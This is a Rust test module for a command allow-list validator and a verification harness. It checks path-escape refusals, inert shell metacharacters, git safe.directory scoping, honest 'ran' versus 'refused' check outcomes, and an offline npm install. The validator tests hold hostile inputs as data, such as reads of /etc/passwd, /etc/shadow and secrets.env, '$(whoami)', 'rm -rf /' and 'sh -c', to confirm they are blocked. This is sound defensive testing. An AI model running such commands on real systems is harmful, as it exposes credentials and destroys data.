for sub in ["status", "diff", "log", "show", "ls-files"] {
|
|
assert!(check_argv(&argv(&["git", sub])).is_ok(), "git {sub}");
|
|
}
|
|
}
|
|
|
|
#[test]
|
|
fn reads_stay_inside_the_checkout() {
|
|
assert_eq!(
|
|
check_argv(&argv(&["cat", "/etc/passwd"])),
|
|
Err(Refusal::AbsolutePath("/etc/passwd".into()))
|
|
);
|
|
assert_eq!(
|
|
check_argv(&argv(&["cat", "../../secrets.env"])),
|
|
Err(Refusal::ParentEscape("../../secrets.env".into()))
|
|
);
|
|
assert_eq!(
|
|
check_argv(&argv(&["rg", "--file=/etc/shadow", "x"])),
|
|
Err(Refusal::AbsolutePath("--file=/etc/shadow".into()))
|
|
);
|
|
// A `..` inside a longer name is a legitimate filename, not an escape.
|
|
assert!(check_argv(&argv(&["cat", "weird..name.txt"])).is_ok());
|
|
}
|
|
|
|
/// There is no shell, so these are inert argument bytes rather than
|
|
/// command separators. The point of the test is that the validator does
|
|
/// not need to reason about metacharacters at all — the execution model
|
|
/// already removed the class of bug.
|
|
#[test]
|
|
fn shell_metacharacters_are_not_special() {
|
|
assert!(check_argv(&argv(&["rg", "foo;bar", "src"])).is_ok());
|
|
assert!(check_argv(&argv(&["rg", "$(whoami)"])).is_ok());
|
|
assert!(check_argv(&argv(&["grep", "a && b"])).is_ok());
|
|
// …but a disallowed program is still disallowed however it is spelled.
|
|
assert!(check_argv(&argv(&["sh", "-c", "ls"])).is_err());
|
|
assert!(check_argv(&argv(&["bash", "-c", "ls"])).is_err());
|
|
}
|
|
|
|
/// The exception must reach tools that invoke git internally, not just
|
|
/// `git` itself — the first version rewrote argv and left gitleaks
|
|
/// scanning 0 commits.
|
|
#[test]
|
|
fn git_ownership_is_set_by_environment_so_subprocesses_inherit_it() {
|
|
let env = git_ownership_env("/missions/abc/repo");
|
|
assert_eq!(
|
|
env,
|
|
vec![
|
|
"GIT_CONFIG_COUNT=1".to_string(),
|
|
"GIT_CONFIG_KEY_0=safe.directory".to_string(),
|
|
"GIT_CONFIG_VALUE_0=/missions/abc/repo".to_string(),
|
|
]
|
|
);
|
|
// Scoped to the one checkout. `--global`, or a bare `*`, would switch
|
|
// the protection off for every path in the container.
|
|
assert!(!env.iter().any(|e| e.contains('*')));
|
|
assert!(!env.iter().any(|e| e.contains("--global")));
|
|
}
|
|
|
|
// ── What a check may claim about itself ────────────────────────────
|
|
|
|
/// The property the whole struct exists for. A refused command and an
|
|
/// unreachable daemon both produce evidence text; neither verified
|
|
/// anything, and only `ran` may be used to say otherwise.
|
|
#[test]
|
|
fn only_an_executed_command_counts_as_having_run() {
|
|
let refused = CheckOutcome::refused(&argv(&["rm", "-rf", "/"]), "REFUSED: no".into());
|
|
assert!(!refused.ran, "a refused command did not verify anything");
|
|
assert!(refused.refused);
|
|
assert_eq!(refused.exit_code, None);
|
|
|
|
let broken = CheckOutcome::could_not_run(&argv(&["cargo", "test"]), "COULD NOT RUN".into());
|
|
assert!(
|
|
!broken.ran,
|
|
"a command that never reached the daemon did not verify anything"
|
|
);
|
|
assert!(
|
|
!broken.refused,
|
|
"not refused — the allow-list said yes; the transport failed"
|
|
);
|
|
|
|
let real = CheckOutcome {
|
|
argv: argv(&["cargo", "test"]),
|
|
ran: true,
|
|
refused: false,
|
|
exit_code: Some(0),
|
|
evidence: "exit status: 0".into(),
|
|
};
|
|
assert!(real.ran);
|
|
}
|
|
|
|
#[test]
|
|
fn summary_distinguishes_the_three_outcomes() {
|
|
assert_eq!(
|
|
CheckOutcome::refused(&argv(&["git", "push"]), String::new()).summary(),
|
|
"git push → refused"
|
|
);
|
|
assert_eq!(
|
|
CheckOutcome::could_not_run(&argv(&["cargo", "test"]), String::new()).summary(),
|
|
"cargo test → could not run"
|
|
);
|
|
assert_eq!(
|
|
CheckOutcome {
|
|
argv: argv(&["cargo", "test"]),
|
|
ran: true,
|
|
refused: false,
|
|
exit_code: Some(101),
|
|
evidence: String::new(),
|
|
}
|
|
.summary(),
|
|
"cargo test → exit 101"
|
|
);
|
|
}
|
|
|
|
#[test]
|
|
fn clamp_keeps_both_ends_and_says_what_it_dropped() {
|
|
let short = "all good";
|
|
assert_eq!(clamp_output(short), short);
|
|
|
|
let long = "x".repeat(MAX_OUTPUT_BYTES * 2);
|
|
let clamped = clamp_output(&long);
|
|
assert!(clamped.len() < long.len());
|
|
assert!(clamped.contains("bytes of output omitted"));
|
|
assert!(clamped.starts_with('x'), "keeps the head");
|
|
assert!(
|
|
clamped.ends_with('x'),
|
|
"keeps the tail — failures live there"
|
|
);
|
|
}
|
|
|
|
#[test]
|
|
fn clamp_does_not_panic_on_multibyte_output() {
|
|
let long = "é".repeat(MAX_OUTPUT_BYTES);
|
|
let _ = clamp_output(&long);
|
|
}
|
|
}
|
|
|
|
#[cfg(test)]
|
|
mod npm_offline_tests {
|
|
use super::*;
|
|
|
|
/// Run the generated script with a fake `npm` that records its arguments
|
|
/// and exits `npm_rc`. Returns (exit code, recorded npm argv).
|
|
fn run_with_fake_npm(npm_rc: i32, with_cache: bool) -> (Option<i32>, String) {
|
|
let tmp = tempfile::tempdir().unwrap();
|
|
let bin = tmp.path().join("bin");
|
|
std::fs::create_dir_all(&bin).unwrap();
|
|
let argv_log = tmp.path().join("npm-argv");
|
|
let fake = bin.join("npm");
|
|
std::fs::write(
|
|
&fake,
|
|
format!("#!/bin/sh\necho \"$@\" > {}\necho npm said hello\nexit {npm_rc}\n", argv_log.display()),
|
|
)
|
|
.unwrap();
|
|
use std::os::unix::fs::PermissionsExt;
|
|
std::fs::set_permissions(&fake, std::fs::Permissions::from_mode(0o755)).unwrap();
|
|
|
|
let cache = tmp.path().join("mission-cache");
|
|
if with_cache {
|
|
std::fs::create_dir_all(cache.join("_cacache")).unwrap();
|
|
}
|
|
let root = tmp.path().join("verify");
|
|
std::fs::create_dir_all(&root).unwrap();
|
|
|
|
let out = std::process::Command::new("sh")
|
|
.arg("-c")
|
|
.arg(npm_offline_script(&cache, &root))
|
|
.env("PATH", format!("{}:{}", bin.display(), std::env::var("PATH").unwrap_or_default()))
|
|
.output()
|
|
.unwrap();
|
|
let recorded = std::fs::read_to_string(&argv_log).unwrap_or_default();
|
|
if with_cache {
|
|
assert!(root.join("npm-cache/_cacache").is_dir(), "the cache must be copied into the verify root");
|
|
}
|
|
(out.status.code(), recorded)
|
|
}
|
|
|
|
/// npm's own failure must survive: `npm ci | tail` exits 0 over a failed
|
|
/// install, and the judge would then be told dependencies were ready.
|
|
#[test]
|
|
fn a_failed_install_is_reported_as_failed() {
|
|
let (rc, _) = run_with_fake_npm(7, true);
|
|
assert_eq!(rc, Some(7));
|
|
}
|
|
|
|
#[test]
|
|
fn a_clean_install_exits_zero_offline_against_the_copy() {
|
|
let (rc, argv) = run_with_fake_npm(0, true);
|
|
assert_eq!(rc, Some(0));
|
|
assert!(argv.starts_with("ci --offline"), "{argv}");
|
|
// Pointed at the COPY in the verify root, never the mission's cache:
|
|
// npm writes to its cache and the judge runs as root.
|
|
assert!(argv.contains("/verify/npm-cache"), "{argv}");
|
|
assert!(!argv.contains("mission-cache"), "{argv}");
|
|
}
|
|
|
|
/// No cache to copy stops before npm runs, with its own status.
|
|
#[test]
|
|
fn a_missing_cache_never_reaches_npm() {
|
|
let (rc, argv) = run_with_fake_npm(0, false);
|
|
assert_eq!(rc, Some(3));
|
|
assert!(argv.is_empty(), "npm ran without a cache: {argv}");
|
|
}
|
|
|
|
/// The cache path is where the mission container's HOME is bound.
|
|
#[test]
|
|
fn the_npm_cache_is_under_the_bound_home() {
|
|
let id = Uuid::nil();
|
|
let p = mission_npm_cache(id);
|
|
assert!(p.ends_with(format!("{id}/runtime-data/.npm")), "{}", p.display());
|
|
}
|
|
}
|